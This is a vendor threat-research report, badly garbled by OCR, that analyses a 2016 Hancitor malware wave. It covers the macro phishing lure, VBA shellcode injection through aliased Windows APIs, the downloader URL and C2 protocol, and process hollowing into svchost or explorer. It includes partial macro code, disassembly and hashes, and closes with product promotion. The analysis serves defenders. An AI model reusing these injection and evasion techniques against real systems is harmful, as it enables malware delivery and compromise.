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New Wave of Hancitor Malware Comes with New
Evasive Techniques

INTRODUCTION

From November 7 — 15, 2016, Morphisec identified and monitored a new wave of sophisticated malware
attacks using a modified version of the Hancitor downloader. The malware is delivered via targeted phishing
emails with malicious macro-based documents attached.

In this report, Morphisec analyzes the full Hancitor attack chain. It is part of a series of reports produced by
Morphisec Lab focusing on the most evasive and sophisticated in-memory malware families, like the previously
analyzed new fileless Kovter attack.

The Hancitor variant recently identified by Morphisec has several modified evasive techniques, most noteworthy
are the different API's for the execution of shellcode.

Despite new elements and variations, Morphisec’s Endpoint Threat Prevention has no problem in stopping this
sophisticated attack. Morphisec Moving Target Defense technology stops Hancitor without the need of
changing any rules.

Hancitor (aka Chanitor and TorDal) is a downloader-type malware and usually a part of a larger targeted
campaign. It has come in waves over the past two years, with each wave having some new evasive technique(s)
that allow it to elude most existing endpoint security solutions.

After Hancitor establishes an initial foothold on the victim's machine, its downloaders contact C2 servers to
download and install additional Trojans, bots and other kinds of malware, staying in-memory throughout the
process.
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Core capabilities:

* Hancitor attempts to detect and bypass traditional defenses, using an embedded executable and DLL
calls to launch and grab additional payloads.
» [njecting a DLL or EXE downloaded from a URL and executing it without writing it to the disk.

The malicious documents themselves contain several identifying features that are consistent with each wave.
For example, there are spelling mistakes (“availible” instead of “available”) and an “artistic touch” to the macro
comments which includes lyrics from “Run baby Run" by Garbage.

Previous Hancitor waves have been described by other researchers including those at Proofpoint, Palo Alto
Networks, and Fortinet.

TECHNICAL ANALYSIS

1. Macro Documents

1.1. In the first step, malicious macro WORD documents are sent to the targeted victims. Note the spelling
mistake “availible” that repreats itself thorughout Hancitor's waves.

@ Security Warning Macros have been disabled. Options...
Clipboard ¥ X i
@ Paste Al | (B Clear Al
Click an item to paste: ‘ Jj Microsofts
- N L]
Clipboard empty.
Copy or cut to collect items. il D I < e
®
Thi cument i ible Once you have enabled editing,
e dounpert e op) Click "Enable editing” button TR st
for desktop and laptop versions : [ b please click "Enable content
of Microsoft Office Word from the yellow bar ahave button from the yellow bar above
@ Security Waming Hacros have been disabled. | Cptians Project - Froject
“fipboard v x — =
i Paste X Cexr A E
Chck an item 1o paster
Cipboard empty. i . @ mrmal
v o oo ; I C e &% Project (45289367ealdd
E-E5 Microsoft Word Objects
: ] ThisDocument
El-E5 Forms
- 2 P roemium
This document is protected . g dpl
oaues
P B demotion
This document is onlyfavailible §or desktop or laptop versions of Microsoft Office Word |:| References

Click "Enable editing" button from the yellow bar above

Once you have enabled editing, please click "Enable content” button

from the yellow bar above
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1.2. Machine Check Architecture: The macro works seamlessly on both machine architectures x86/x64 (if
Win64 defined). Note here the use of EnumTimeFormatsW for shellcode activation.

[Generan =] [ectarstions) =
Tind ous who you are before you regres it
¥ | #1r vBA6 Ang Win6s Tnen
"No vo e crack
Fuplic Type tangle
‘No you're never gonna crack
start s Longpor

- .

re never oo

Sleep" (manduca R

et (flow

‘Love's an elusive charm and it can be pal
#E1se
'Run from the noise of the street and the loaded gu
Public Declars Function whiTworch Lib Mkernel32.d1l" Rlias "VircualRllocEx" (castroism As Long, accidence As Long, ByVal graze As Long, ByVal footstool As Long, ByVal vicariate As Long) s long
fe can be =0 ox
Public Declare Sub imtemmission Lib "ntdll.dll” Aliss "Relioveliemory” (septentrional As Any, ByVal ploy he Any, ByVal cinders As Leng
self aw

Bupiic Daclara inccion bruckenchalia Lib Mkernelf2.d1l" Aliss "EnumTimeTormassiW' (SyVel knarsoum he Aay, SyVal grinding As Any, SyVal fie fs Any) Ae Leng

my bab
Faniio Desisie umocien beiecesse Lip musersz Aliss MssPazenct (ByVal anomalousness As Long, ByVal chewink As Long, advert As Lomg) As Long
b =

Fariin Desiare Sunccion ex Lip maserazt Aias "GetUpdateRect” (drakes As Long, lubricitate As Long, pelham As Long) As Boolean
'You can keep it pure on the inside

Public Declare Function charioteer Lib "user32" Alias "EndPainc" (guttling As Long, cervical As Long) As Long

'You can keep it pure on the inside

Public Declars FJ‘.::JD‘A gigarcinaceas Lib Mussr32" Alias "OpenClipboard" (enliven As Lomg) As Boolzan

"You can keep it purs on the inside

< o

it

1.2.1. Ina similar document, we detected the use of EnumCalendarinfoW for shellcode activation.

won't be saddened w about

I hope you won't be saddened wl about
Public Declare Sub iodoform Lib "ncdll.dli" Alias

RolMoveMemory™ (callichumpian As Any, notoriety &s Any, ByVal humoral As Long

about it
Fublic Declars Functicn rump Lib "user3Z™ Aliss "SstParent" (ByVal clammywesd As Long, ByVal cras As Long, unsubmissive As Long) As Long
'I nope you won't be saddened I about it

Paplic Deolare Fumesicn aresiid 1ib 'sezs2! Alias “EndPaist

I hope you won't be saddened while I ory about it

Eublic Declaze Functios smeue Lib "kernel3Z.dil" Aliss "EnsmCalendszInfei” (3y¥al afflicted As Any, ByVal likeliness s Any, SyVal isohsl ks Any, 3yVal bookmaking As Rny) As Long

't be saddensd wails I cx

Public Declars Function nogoal Lib "kernsl32.d11" Alias "VirtualRllocEx" (bibere Ls Long, theirs Ls Long, ByVal preservative Bs Long, ByVal obeisance As Long, ByVal senselessly As Long) ks Long

'I hope you won's be saddened while I ory about it

Public Declare Function piqueerer Lib "userS2" Alias "GesUpdateRect” (befool As Long, predation As Long, reveal As Long) As Boolean

I hope you won't be saddensd w I

Public Declere Function scopﬂ:ﬂalﬂas L::
nope you won't be saddened I

(valta s Long, actiniopteris As Long) As Long

"OpenClipboard” (flex As Long) As Boolean
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1.3. Injection of a shellcode inside the WinWord process (using pure Visual Basic). The hidden encrypted
shellcode resides inside the Tab2.ControlTipText property.

Note that the length of shellcode is > 4679 characters and therefore doesn't show as a value inside the

ControlTipText property.

Dim barriers As Integer
Set bedside — proemium.noctambulist .. BoundValue {"Tab2™)
amorpha = bedside.ControlTipText
barratrous = 75 + 8169
roject - Project x|
= — =

Normal
=88 Project (45289367ea1ddc0f33e77¢
123 Microsoft Ward Objects
) ThisDocument it
E-23 Forms
L prosmium

p= </Q </ QIKnIIACOIIQLI\:B= < /91" ):= KH'IKnd\ Ge >0 @c= _0b '0/c:9999 [9HLO@ < rErErErEKAPB\EroE 6, LNGI37Q-9P Pri7FiH= _< ol

2. Shellcode Injection

2.1. The macro allocates a memory for the shellcode inside the WinWord process via VirtualAllocEX and
then uses RtIMoveMemory to copy the shellcode into the allocated memory (the macro uses aliases of
the declared functions as shown under 1.2.).

frostbitten = 105 + 3881

& eugleynceae = whitworth {(ByVal apogee, ByVal linguist, 9400, frostbitten, 64)
Ehmenﬂeae:Sﬁ?ﬂﬂ?G "Dureaucratic!

[ Jllintermission portability, VarPir{englenaceae) + 8,

firstlings = "uppers"

£ intermission ByVal portability, anchoret, 6183

T |

0x3620000 = 56754176

2.2. Shellcode memory allocation - Page permissions are RWX (read, write and execute)

4 (x3520000 Private 12kE  RWX
03620000 Private: Comnmit 12kE  RWX
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3. Shellcode Execution

The macro uses EnumTimeFormatsW /EnumResourceTypesA / EnumCalendarinfoW and more Windows more
Windows APIs for the execution of the injected shellcode. This allows the malware to avoid suspicious API
calls such as ShellExecute, CreateProcess, WinExec and the need to write this intermediate shellcode-like
dropper stage to the disk.

In addition, it is uncommon to see this technique implemented in VBA script delivered by macros. (The
previous Hancitor wave reported in August used CallWindowProcA redirect code execution to shellcode.)

Turf = 0x3620000 (allocated memory)
Brilliantine = 0x3620000 + OxE5D =0x3620E5D (shellcode entry point)
Bruckenthalia is an alias for EnumTimeFormatsW( IpTimeFmtEnumProc, LOCALE_SYSTEM_DEFAULT,0)

Yforiiliantine — turt + psittacidac
Dim absorbakble L= Long
oy absorkakle = % - 3
| Itube = bruckenthalia(brilliantine, mnliterary, absorbable)

For polvandrism = 8 To 75

LOCALE_SYSTEM_DEFAULT = 0x800

=R I N R R = ) B
Project - Project x
i 2l Jigeners Bl oo e
RN = necessitas = "ded" View Edit Help
& Normal turf = aphidoidea(ossific)
E-8% Project (45289367ealdc floatingmoss = "sperm®
=25 Microsoft Ward Objects disembarrass = "gla" & "ucomy" & "s" 809
) ThisDocument $#If VBAG And Winé4

-3 F D trum As v

-3 Forms ToCestIum B 9006 0oER GOGG 0GDE GGG 000G  0GOO 600D

-5 Modules sppetens = "a a3 2
+4 demotion idotism = "co, @EEG BEAB BEDE BEEE BERE 1888 BEEd  BBAD

(7] References psittacidas = + 1222 31 15; 2

#ElseIf Win32

1 m b

Properties - ThisDocument  %| tine = turf + psittacidae

ThisDocumen Document = Dim absorbable As Long

Alphabetic |Camgﬂr,zed| absorbable = & - &

ThisDocument  «
|AutoFormatOve False |_|
DefaultTabSton 35,4

oy For polyandrism = 8 To 75
makebelieve = 75

unliterary = 2048

| [ JWtube = bruckenthalia(brilliantine, unlijerary, absorbable)
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4. The Shellcode

4.1. If we attach to WINWORD.EXE and break on the offset of the injected shellcode memory location
+3677(0XE5D) - the entry point of the shellcode - we are able see the code.

U[ﬂﬂ"ﬂﬂllEKE_ﬂxSﬁZﬂﬂﬂﬂ-ﬂxSHﬂHJﬂnﬁi|

Edit As: Hex Run Script Run Template

o 1 2 3 4 5 € 7T &8 8 B B C D E EF 0123356T00RBCDER
OE30h: 08 1& EB 15 80 4F FE 8B C3 D3 F8 8D 4E 0OA D2 E3 | ..&..0b<&02.N.0&
OE40h: 08 02 C6 42 01 00 08 5A 01 FF 45 O8 8B 45 08 82 || ..EB...Z.¥E.<E.5
OE50h: FF 75 .¥Ei.Auz ~[Eh
OE&0R: 64 AT ..di0...
OET0h: 56
OE80h: o
0ES0h: 89
OEAOR: 45
OEBOh: B9
OECOh:| [ 58
OEDOh: [l BS
OEEOR: (o 58
OEFOh: FEl= FF
OF0Ch: |33 B9
OF10h: (5 B9
OF20h:| (&S BS
OF30h:| [ 02
OF40h:
OF50h: E.EA4ES

OF60h: [0 FF 75 EO C7 85 A4 FE FF FF 45 78 70 &1 C7 85 | PyuaC. Hpy¥ExpaG..
0F70h: A2 FE FF FF 6E 64 45 6E C7 85 AC FE FF FF 76 €9 ~py¥ndEnC. —piivi
OF20h: 72 &F CT 85 BO FE FF FF 6E 6D &5 6E C7 85 B4 FE roC. °byvynmenC.'b

4.2. ATTACH THE WINWORD PROCESS in the entry point of the shellcode (0x3620E5D)

L R W Wy VR ¥ iy W) — o | W W Ry W W W

03620=5d 55

ot [2a%+0Ch]
eax,.dword ptr [eaz+l1Ch]
eax,dwvord ptr [eax+8]

M @ @ o m

620e
03620e72 8b4003

03620=75 53 ebx
03620276 56 ==31
03620277 57 edi

03620278 8d4dcd
03620e7b 51

0362027 33db

03620e7e &0

03620e7f c745c84ch4724c
03620e86 c745cchffladdd
03620e8d 66c745d06ckc
03620293 88E&dd2
03620e96 898550feffff

ecx, [ebp-38h]

ecK

ehx. ebx

=ax

dword ptr [ebp—-38h].4C72644Ch
dyord ptr [sbp-34h].4464616Fh
word ptr [ebp-30h].6C6CH

byte ptr [ebp-2Eh].bl

dword ptr [ebp—1B0h],eax

03620e9c =BG0f=ffff 03620cf1
03620eal 59 ECHE
02e20ea 59 ECH
03620ea3 Gabb ABh

03620eab 8945fc
03620=ad 58

03620ea9 Bakt

03620eab 668985ecfdffff
03620eb2 58

03620eb3 6a72

03620ebS 668985esfdf{ff
03620ebc 58

03620ebd Gabe

03620ebf 668985f0fdf{ff
03620ece 58

03620ec? babh

03620ec9 668985f2fdff£f
03620ed0 58

dword ptr [ebp—4].eax
=ax
65h
word ptr [ebp-214h]. ax
=ax
72h
word ptr [ebp-212Zh].a=
=ax
6Eh
word ptr [sbp-210h].ax
=ax
65h
word ptr [ebp-Z20Eh].ax
=ax
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4.3. From here, the shellcode gets the address for the “IdrLoadDII" function, which behaves similarly to
LoadLibraryEx(), by accessing the Process Environment Block (PEB) and finding the “ntdll” module as
the first module in the IninitializationOrderModuleList, and then going over the exported functions in
ntdll (IdrLoadDll is one of the exported functions in ntdll.)

push ebp

mov ebp, esp

sub esp, 998h

mou eax, large fs:38h
mou eax, [eax+8Ch]

mou eax, [eax+1Ch]

mou eax, [eax+i] ; ntdll
push ebx

push esi

push edi

lea ecx, [ebp+uvar_38]
push ecx

Xov ebx, ebx

push eax

mou [ebp+var_38], "LrdL®
mou [ebp+var_34], °"Ddao’
mou [ebp+var_38], "11°
mouv [ebp+var_2E], bl
mov [ebp+var_1BB], eax
call runExportTable ; run on ntdll export table and find ldrloaddll
pop ecx

pop ecx

push 6Bh ; 'k°

mov [ebp+var_ 4], eaz
pop eax

push G5h ; ‘e’

mou [ebp+var_ 2147, ax
pop eax

push ¥2h ; 'r°

mou [ebp+var_ 2127, ax
pop eax

push 6Eh ; 'n°

mov [ebp+var_218], ax
pop eax

push 6%h ; ‘e’

mou [ebp+var_28E], ax
pop eax
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4.4. runExportTable function:

; Attributes: bp-based frame
runExportTable proc near
var_8= dword ptr -8
var_4= dword ptr -4
arg_@A= dword ptr 8
arg_4= dword ptr BCh
push ebp
nov ebp, esp
push eCx
push eCx
push ebx
push esi
mov esi, [ebptarg_8]
push edi
lea edx, [ebp+var_8]
call sub_3628C8A ; eax is _IMAGE_EXPORT_DIRECTORY
test eax, eax
jz short loc_3628D4E
] |_*
PIHE]
moy esi, [eax+24h] ; addressofnameordinals
mouv ebx, [eax+20h] ; addressofnames
noy edi, [eax+1Ch] ; addressoffunctions
add esi, [ebp+arg_8]
add ebx, [ebp+arg_#8]
add edi, [ebp+arg_8]
jz short loc_3628D4E
]
IE]
test ebx, ebx
EXPORT_DIRECTORY proc near
mov eax, esi
call sub_3628C64 ; get _IMAGE_NT_HEADERS (EAX AND ECX)
test eax, eax
jz short loc_3628CBA
]
all et =]
mov ecx, 1h4ch
cmp [eax+4], cx
jnz short loc_3628CBA ; checks if ntdll is 32bit
]}I
PIEHE]
nov ecx, [eax+78h] ; export data image directory
test ecx, ecx
jz short loc_3628CBA
L*I
FIEHE]
cmp dword ptr [eax+74h], @ ; check if export exists.
jbe short loc_32628CEA
Y TI+J+ ¥
[l ai =] [l ai =]
test edx, edx
jz short loc_362B8CEb loc_3628CBA:
xor eax, eax
retn
EXPORT_DIRECTORY endp
PIHE]
moy eax, [eax+7Ch] ; export table size
moy [edx], eax ; save the value of export size

loc_3628CB6:
lea eax, [ecx+esi]
retn
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4.5. After loading the Kernel32.dll, Psapi.dll, Urlmon.dll, User32.dIl modules using IdrLoadDIl (found in the
previous step), the shellcode will look for exported functions in those modules:

=  ExpandEnviromentStringsA
» [sReadBadPtr

» GetMappedFileName

= VirtualAllocEx

=  URLDownlaodToCacheFileA
= GetVersionEx

= WsprintfA

= (CreateProcessA

=  ZwUnmapViewSection

= VirtualAllocEx

* ResumThread

= WriteProcessMemory

= SetThreadContext

= GetThreadContext

= |sWowb64Process

mou [ebp+uvar_154], "oriuv’

mov [ebp+var_158], "nemn’

mov [ebp+var_14C], "rESt’

mov dword ptr [ebp-[EER], 'sqni-
mouv [ebp+var 1447, "A°

call runExportTable ; ExpandEnviromentStringsh
mouv [ebp+var 18], eax

lea eax, [ebp+var_68]

push eax

push [ebp+uvar_20]

mov [ebp+var_68], 'aBsI*®

mov [ebp+var_64], "aeRd®

mov [ebp+var_668], ‘rtPd*

mov [ebp+var_ 5C], bl

call runExportTable ; IsBadReadPtr
add esp, 16h

5. Second Stage Shellcode

5.1. Now the first shellcode downloads encrypted executable which will be used in the following step -
process hollowing:

url: hxxp://heontoftfal.Jlcom/blt/path1[]Jphp?v=%d%d

push eax

mou [ebp+var_1A8], ‘ptth’
mou [ebp+uar 1A4], 'hif:"
mou [ebp+uar_1AB], 'tneo”
mov [ebp+var_19C], "fifo’
mou [ebp+var_198], ‘oc.a’
mou [ebp+uar_194], '1b/m"
mou [ebp+uar_198], 'apft-
mov [ebp+var_18C], °.1ht"
mow [ebp+var_188], 'Tphp’
mou [ebp+uar 184], "d%=u’
mou [ebp+var_188], 'd%*
mov [ebp+var_17E], bl

call sub 3620D64
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5.2. Decryption of the downloaded executable in-memory: it
will add 0x3 to each byte in our example, and then XOR =

it by 0x13. loc_362141C:
moy I} cl, [eax+edi]
add cl, 3
Xxor cl, 19
mou [eax+edi], cl
inc eax
cmp eax, esi
jb short loc_362141C

5.3. Process Hollowing

. . — L e
The shellcode will create a new process based on the machine call  rumEsporiable : createProcessn
LT rhpsuar . PaX
type. If its 64-bit machine, it will create 32-bit o2, Eax. [ebpruar_iin
B B B ush ebpsuvar 1B®
SysWow64/svchost process and - after suspending it - will Lot el it -1 SRS
. . . L]0 [ebpe+var_1BC), “Upam®
replace it with 32-bit decrypted executable downloaded before. now [ebprvar_108], [ouel:
now ebpruar . ‘CE
T _hi | | HIRTaY | | | [T [ebpevasr_1000]), ‘noit®
If it's a 32-bit machine, it will inject into explorer.exe (which is s o e L
H : . ; Pwlinmapliewllf Section
32-bit by default on 32-bit machine.) ne  [ERpTOR TR ea .
lea eax, [ebpruar_%8]
push (L
push esi
now [rhpesvar 98], ‘triu-
now [ebpsvar_ %47, ‘Alau”
now [ebprvar_%8], ‘coll”
o [ebpsuvar BC], ‘wES
now [ebpruar BAJ, bl
call runExportTable ; VirtvalallocEx
o [ebpsuar_&], eax
lea eax, [ebpruar 5S8]
push (Rt
push esi
now le-u.olual' HR]., ‘useR "
[T [ebpevar 5S4], "hTem"
now [ebpsuar_50], ‘daer-”
LI [rbpesvar &C], bl
call runExportTable : ResumeThread
now [ebpruvar_ Z34], eax
lea eax, [ebpeoar E&]
push eax
push esi
now [ebpervar_E&], ‘tird"
now [ebpsvar_E@), ‘orPe”
[T [ebpevar_DLC]), ‘ssec”
now [ebpsyuar_DB],. ‘oReM”
ne [ebpsvar_Da], ‘ur’
now [ebpsvar D2], bl
call runExportiabnle ; WeiteProcessHenory
I [ebpesuvar_ 18], wax
lea eax, [ebprwar BC]
push LET
push esi
now [ebperuar_BC], 'Ttes®
1T [ebpevar_BE], ‘acrh®
[eh T [ebpe*var_B4], "noCd"
now [ebpervar BH]), "txet”
e [ebpesvar_RC], bl
call FuRExportTable ; SetThreadContext
LT [ebpesvar FFR), cax
lea eax, [ebprvar_DO]
push Pax
push esi
now [ebpruar_DO], "Tte:"
o [ebpesvar_ CC], ‘aecrh®
o [ebpsuvar_CRB], ‘noCd"
Ll e [ebpe*var_C&], 'Exet”
A [ebpsvar_C0], bl ; GetThreadContect
call runExportTable ; GetThreadContext
e [ebpevar 1EW]), rax
lea eax, [ebprvar_B8]
now [ebpsvar_ B8], ‘oWsl”
e [ebpsvar B4]), ‘PhGw"
now [ebpevar_ BO], ‘ecor”
L]0 [ebpesvar FLC], ‘ss°
now [ebpeuar_7A], bl
push Eax ; IsWowssProcess
ush eai
::,all runExportTable : IsWows&Process
add e5p, bh
ki ek FETTy
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If 64: (%windir%\SysWow64\svchose.exe) If 32: (%windir%\explorer.exe)
push eax
loc_36216D1: push BFFFFFFFFh
nov [ebp+var_17C], ‘niu%’ nov [ebp+var_796], [HHEHER
mou [ebp+uar_178], '%rid’ mouy [ebp+var_128], 'niwi’
nov [ebp+var_174], ‘sysy’ mov [ebp+var 1247, "%rid’
nov [ebp+var_178], '6WOW’ mov [ebp+var_128], ‘pxe\v’
mov [ebp+var_16C], 'usii' mou [ebprwar_11C], ‘erol’
mov [ebp+var_ 168], 'sohc’ moy [ebp+var 118], 'xe.r’
mov [ebp+var 164], 'xe.t’ mov I} [ebp+var_114], 'k’
nov [ebp+var_168], 65h ; ‘e’ mou [ebp+var_1B4], ebx
lea eax, [ebp+var_17C] call esi
push 184h
lea eax, [ebp+uvar_4C4]
push eax
cmp [ebp+var_1B4], ebx
jnz short loc_36216D1
4 @ WINWORD.EXE 3744 031 16 B/s 211 MB  WIN-QOE50VVS01 Micresoft Cffice Word
- explorer.exe 2100 9794 MB  WIN-QOESCVVSO1 Windows Explorer

Hancitor Protocol

502 HTTF hoentoftfa.com  /blt/pathl.php?v=61 512 no-cac... texthitml; c...  winword: 3744

200 HTTP api.ipify.org 15 text/plain explorer; 2100

502 HTTF hoentoftfa.com  Js5/gate.php 512 no-cac...  texthiml c...  explorer 2100

502 HTTP gonynamao.ru  s5ioate.php 512 no-cac... textfhiml c...  ewxplorer: 2100
forpartinsa.ru  fls5/gate.php e explorer: 2100

Parameter Description

GUID A 19-digit identifier generated with the UuidCreate Windows

API (in early versions of the updated Hancitor) or derived
from the output of GetAdaptersAddresses Windows API
(latest version seen on May 10).

BUILD A hardcoded 4-digit number that appears to represent the
software version. These are not updated in sequential order.
Observed build numbers include 2804, and 0905

INFO The info shows the computer name, account name, and
domain in the “[computer name] @ [domain]\[account]”
format

IP External IP address of the infected machine, determined from
api.ipify[.Jorg

TYPE Hardcoded value set to *1”

WIN Windows major and minor versions, followed by the system

architecture in the “[major].[minor] ([architecture])” format
where architecture is x32 or x64.

Source: Research by Proofpoint
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L

Request:
E[129 200 HIIF Tunnel to  googleadsd.q. doubledick. ... U chrome: 3268 ey
) ien
@ 130 200 HTTP gonynamo.ru  fls5/gate.php 22 text/html explorer: 2544 cliant
#1131 200 HTTP Turnel to ad.atdmt, com: 443 0 chrome: 3268 GotRec
@ o ) e Client

|2 Telerik Fiddler Session 220 - http://gonyname.ruflsS/gate.php
I! Request | i Response | E Properties |

|Headers | TextView |WebForms | HexView | Auth | Cookies | Raw | JSON | XML |
GUID=160670028020355009284BUILD=14114INFO=WIN-QOESOWVVSD1C @ WIN-QDEBOVVSDIChRoy&IP=152.117.186. 2154 TYPE=18WIN=6.1632)

Response:

gonynama.ru ls5fgate. php text/hitml explorer; 2544

|2 Telerik Fiddler Session 228 - http://genyname.ruflsS/gate.php

1 Request H i Response | [El Properties ‘

| Headers | TextView |Image'u'iew | HexView | Webview | Auth | Caching I Cookies | Raw I J50M | HML |

C
CKPXARRABw==
0

Commands sent by the C&C server

Commands from previous variants

{r:[URL]} Download executable and execute

{:[URL]} Download a library(DLL) and load w/ parameter
{n:} Do nothing

{u:} Unimplemented

Added commands

{e:[URL]}

Download a library(DLL) and load w/o parameter

{c:[encrypted config]}

Receive an encrypted “config” and writes it to a file, <hancitor
filename=>_cfg. Config contains list of new C&C addresses.

{b:[URL]}

Download an executable and inject to svchost.exe (previously
unimplemented)

Removed commands

{d:}

Terminate malware process and delete backing file

Source: Research by Fortinet
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Use of Clipboard

One final interesting observation: The clipboard is used to save the C2C command, shellcode entry and more
via the OpenClipboard function.

ias "GetUpdateRect” (drakes As Long, lubricitate As Long, pelham As Long) &s Boolsan

user32" Alias "EndPaint" (guttling As Long, cervical As Long) As Long

user3z" Rlias|"OpenClipboard” f(enliven s Long) As Boolean

11 of 24 - Clipboard
Click an item to paste:
1] 4c50E5D

_J ) Microsoft*

0.0ffice

This document is only availible i, a2 Once you have enabled editing,
for desktop and laptop versions f"“-“ l:mmlb:;fg;. bba-\xmm please click "Gnable content”
of Microsoft Office Word s’ ahave button from the yellow bar above

1] 2GTAARRABW==

1] ¢ 1QIQaRRABW==1

1] c CkPXARRABI==0

1] CHPXARRABW==

1] ¢ CRPXARRABI==0

£ e

1] scs0EsD

1) 533cC34

(1] 4cs50000

1] 30000

Conclusion

The macro-based evasion techniques in this latest Hancitor wave again demonstrate a) the rapid development
progress of the attacker and b) the slower development progress of the defender’s mitigation approach. We see
new techniques to hide, activate shellcodes and limit attack exposure. File-based solutions are evaded by
persisting in memory.

To cope with such sophisticated attacks, we recommend Morphisec's Moving Target Defense approach, in
which the attacker will need fail, unable to adapt to a constantly changing target.

HASHSs:

45289367ealddc0f33e77e2499fde0a3577a5137037f9208ed1cdded92ee2dc?
304212210ac88fff45a92246375c268d0816ed99fbd46163de3e48b4d87be50
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